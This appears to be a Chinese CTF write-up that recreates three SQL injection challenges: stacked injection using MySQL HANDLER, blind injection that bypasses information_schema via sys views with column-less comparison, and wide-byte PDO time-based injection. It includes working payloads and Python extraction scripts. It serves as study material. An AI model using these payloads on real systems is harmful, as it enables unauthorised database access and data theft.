0x00 前言
最近這段時間參加過一些CTF在線競賽,做過一些Web題,發現SQL注入漏洞出現的頻率可真高!不過在做題中也get到了一些Web新知識,現在通過題目復現的方式總結一下。
0x01 blacklist
考點:堆疊注入+handler代替select
強網杯-隨便注改的,但是ban掉了強網杯payload的rename
和alter
查表
0'; show tables;#
查字段
0'; show columns from FlagHere;#
前邊查表、查字段和強網杯隨便注一樣。但查記錄(數據)是通過重命名等操作得到flag,但這個題ban掉了rename
和alter
。
查詢大師傅博客發現:MySQL還有一個handler的可以代替select進行查詢
handler相關知識
mysql除可使用select查詢表中的數據,也可使用handler語句,這條語句使我們能夠一行一行的瀏覽一個表中的數據,不過handler語句並不具備select語句的所有功能。它是mysql專用的語句,並沒有包含到SQL標準中。
基本語法
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
1.通過HANDLER tbl_name OPEN
打開一張表,無返回結果,實際上我們在這裏聲明瞭一個名爲tb1_name
的句柄。
2.通過HANDLER tbl_name READ FIRST
獲取句柄的第一行,通過READ NEXT
依次獲取其它行。最後一行執行之後再執行NEXT
會返回一個空的結果。
3.通過HANDLER tbl_name CLOSE
來關閉打開的句柄。
通過索引去查看的話可以按照一定的順序,獲取表中的數據。
4.通過HANDLER tbl_name READ index_name FIRST
,獲取句柄第一行(索引最小的一行),NEXT
獲取下一行,PREV
獲取前一行,LAST
獲取最後一行(索引最大的一行)。
通過索引列指定一個值,可以指定從哪一行開始。
5.通過HANDLER tbl_name READ index_name = value
,指定從哪一行開始,通過NEXT繼續瀏覽。
如果不想瀏覽一個表的所有行,可以使用where和limit子句。
測試分析
1.不通過索引打開查看錶
(1)打開句柄:
handler handler_table open; #打開一張名爲handler_table表,無返回結果,聲明瞭一個名爲handler_table的句柄
(2)查看錶數據:
handler handler_table read first; #獲取句柄的第一行
handler handler_table read next; #獲取下一行
(3)關閉句柄:
handler handler_table close; #關閉打開的句柄
2.通過索引打開查看錶(FIRST,NEXT,PREV,LAST)
通過索引查看的話,可以按照索引的升序,從小到大,查看錶信息。
(1)創建索引:
create index handler_index on handler_table(c1);
(2)打開句柄:
handler handler_table open as p;
(3)查看錶數據:
handler p read handler_index first; #獲取句柄第一行
handler p read handler_index next; #獲取下一行
handler p read handler_index prev; #獲取上一行
handler p read handler_index last; #獲取最後一行
(4)關閉句柄:
handler p close;
從index爲2的地方開始
(1) 打開句柄:
handler handler_table open as p;
(2) 查看錶數據:
handler p read handler_index = (2); #指定從第二行開始
handler p read handler_index next;
handler p read handler_index prev;
handler p read handler_index last;
(3)關閉句柄:
handler p close;
參考博客:mysql查詢語句-handler
瞭解完這些,就可以這道題的構造payload了。
payload
0'; handler FlagHere open as qwzf; handler qwzf read first; handler qwzf close;#
執行即可得到flag
0x02 Ezsqli
考點:無information_schema布爾盲注+無列名盲注
預備知識
做這道題前先預備一下知識:
參考博客:
聊一聊bypass information_schema
無需“in”的SQL盲注
新春戰疫公益賽-ezsqli-出題小記
對MYSQL注入相關內容及部分Trick的歸類小結
參考大師傅博客後,發現繞過對information_schema的過濾,有以下幾種方法:
1、繞過information_schema方法
MySQL5.7的新特性
由於performance_schema過於發雜,所以mysql在5.7版本中新增了sys schemma,基礎數據來自於performance_chema和information_schema兩個庫,本身數據庫不存儲數據。
1.sys.schema_auto_increment_columns
作用:簡單來說就是用來對錶自增ID的監控。
# security庫
//該庫爲sqli-labs自動建立
emails,referers,uagents,users
2.sys.schema_table_statistics_with_buffer
schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer
查詢表的統計信息,其中還包括InnoDB緩衝池統計信息,默認情況下按照增刪改查操作的總表I/O延遲時間
sys.x$schema_table_statistics_with_buffer
sys.x$ps_schema_table_statistics_io
可忽略table_name=‘db’,默認的並非我創建。
sys.x$schema_flattened_keys
當然可能還有,這裏就先寫這麼多。
3.利用innoDB引擎繞過對information_schema的過濾(但是mysql默認是關閉InnoDB存儲引擎的)
2、繞過information_schema、join using()注列名和進行無列名注入
1.利用MySQL5.7的新特性獲取表名
直接用sqli-labs靶場進行測試
(1)sys.schema_auto_increment_columns
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
(2)sys.schema_table_statistics_with_buffer
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
(3)sys.x$schema_table_statistics_with_buffer
?id=-1' union select 1,2,group_concat(table_name)from sys.x$schema_table_statistics_with_buffer where table_schema=database()--+
(4)sys.x$ps_schema_table_statistics_io
?id=-1' union select 1,2,group_concat(table_name)from sys.x$ps_schema_table_statistics_io where table_schema=database()--+
(5)sys.x$schema_flattened_keys
?id=-1' union select 1,2,group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()--+
等等
2.join using()注列名
通過系統關鍵詞join可建立兩個表之間的內連接。
通過對想要查詢列名的表與其自身建議內連接,會由於冗餘的原因(相同列名存在),而發生錯誤。
並且報錯信息會存在重複的列名,可以使用 USING 表達式聲明內連接(INNER JOIN)條件來避免報錯。
#獲取第一列的列名
select * from(select * from users a join (select * from users)b)c;
#獲取次列及後續列名
select * from(select * from users a join (select * from users)b using(username))c;
select * from(select * from users a join (select * from users)b using(username,password))c
#獲取第一列的列名
?id=-1' union select*from (select * from users as a join users b)c--+
#得id
#獲取次列及後續列名
?id=-1' union select*from (select * from users as a join users b using(id))c--+
#得username
?id=-1' union select*from (select * from users as a join users b using(id,username))c--+
#password
3.無列名盲注獲取數據
直接通過select進行盲注。
核心payload:
(select 'admin','admin')>(select * from users limit 1)
子查詢之間也可以直接通過>
、<
、=
來進行判斷
開始復現
學完上邊這些後,繼續看這道題:
1.測試:
fuzz一波,發現:
過濾了and or關鍵字
過濾了if
不能用information_schema
沒有單獨過濾union和select, 但是過濾了union select,union某某某select之類
過濾了sys.schema_auto_increment_columns
過濾了join
2 返回V&N
2||1=1 返回Nu1L
2||1=4 返回V&N
2查詢的是V&N,如果||
後面的表達式爲True則返回Nu1L;false則返回V&N。
2.繼續測試:
2||substr((select 1),1,1)=2
V&N
2||substr((select 1),1,1)=1
Nu1L
說明可以進行布爾盲注。
3.繞過information_schema
繞過information_schema可用以下方法:
sys.schema_table_statistics_with_buffer
或sys.x$schema_table_statistics_with_buffer
或sys.x$ps_schema_table_statistics_io
等等
4.注出表名
然後寫個腳本注出表名:
import requests
import string
strs = string.printable
url = "http://907a8439-ee8f-4e7a-9a97-f2c65389c019.node3.buuoj.cn/index.php"
payload = "2 || ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{0},1))={1}"
if __name__ == "__main__":
name = ''
for i in range(1,40):
char = ''
for j in strs:
payloads = payload.format(i,ord(j))
data={'id':payloads}
r = requests.post(url=url,data=data)
if "Nu1L" in r.text:
name += j
print(j,end='')
char = j
break
if char=='':
break
注出兩張表:users233333333333333,f1ag_1s_h3r3_hhhhh
5.無列名盲注注出數據
因爲join被過濾了,所以無法注出列名(字段名),但可以進行無列名盲注得到數據。
參考一下大師傅腳本,寫一個腳本:
在這樣的按位比較過程中,因爲在裏層的for()循環,字典順序是從ASCII碼小到大來枚舉並比較的,假設正確值爲b,那麼字典跑到b的時候b=b不滿足payload的大於號,只能繼續下一輪循環,c>b此時滿足了,題目返回真,出現了Nu1L關鍵字,這個時候就需要記錄flag的值了,但是此時這一位的char是c,而真正的flag的這一位應該是b纔對,所以flag += chr(char-1),這就是爲什麼在存flag時候要往前偏移一位的原因
import requests
url = 'http://907a8439-ee8f-4e7a-9a97-f2c65389c019.node3.buuoj.cn/index.php'
def str2hex(flag):
res = ''
for i in flag:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res
flag = ''
for i in range(1,60):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(flag+ chr(char))
payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
#payload = '0^((select 1,{})>(select * from(f1ag_1s_h3r3_hhhhh)))'.format(hexchar)
data = {'id':payload}
r = requests.post(url=url,data=data)
if 'Nu1L' in r.text:
flag += chr(char-1)
print(flag)
break
smi1e師傅的exp中用了取反符號~
目的也是判斷成立,因爲MySQL的比較是按位比的。
腳本進行了hex()
操作,因爲MySQL遇到hex會自動轉成字符串。
(大師傅們太強了,tqqqqqll!!!)
0x03 easysqli_copy
考點:寬字節+PDO堆疊+編碼繞過+時間盲注
相關知識:
PDO場景下的SQL注入探究
從寬字節注入認識PDO的原理和正確使用
打開題目,發現源碼
<?php
function check($str){
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches)){
print_r($matches);
return 0;
}else{
return 1;
}
}
try{
$db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
}catch(Exception $e){
echo $e->getMessage();
}
if(isset($_GET['id'])){
$id = $_GET['id'];
}else{
$test = $db->query("select balabala from table1");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id)){
$query = "select balabala from table1 where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}
發現使用了PDO
、set names gbk
一般來說PDO預編譯是不存在sql注入,但是其中$db->query("set names gbk");就造成了寬字節注入
同時發現一些基本的關鍵字被過濾了,但可以用char()
繞過
參考P3師傅和Y1ng師傅的解題思路即可:
import requests
def str2hex(string):
c='0x'
a=''
for i in string:
a+=hex(ord(i))
return c+a.replace('0x','')
url='http://0d7a93644ff54a3886e388d2e2d8ac5d71f9fe37e74247d7.changame.ichunqiu.com/?id='
data='1%df%27;set @a={};prepare test from @a;execute test;'
#預編譯語句,set設置變量名@和變化的值;
#prepare預備一個@a語句,並賦予名稱test;
#execute執行語句test
payload='select if((ascii(mid((select fllllll4g from table1),{},1))={}),sleep(6),1);'
flag=''
for i in range(1,60):
for x in range(30,127):
newpayload=payload.format(str(i),str(x))#i字符串長度;x是字符ascii
newdata=data.format(str2hex(newpayload))#將sql語句轉16進制代入預處理語句
a=requests.session()
if(a.get(url+newdata).status_code==404):
flag+=chr(x)
break
print(flag)
0x04 後記
復現完之後,收穫很多。同時不得不慨嘆一句:大師傅們ttttttql!!!!我tttttttcl!!!
參考博客:
i春秋2020新春戰“疫”網絡安全公益賽GYCTF Writeup 第二天
i春秋公益賽 前兩天 WEB WriteUp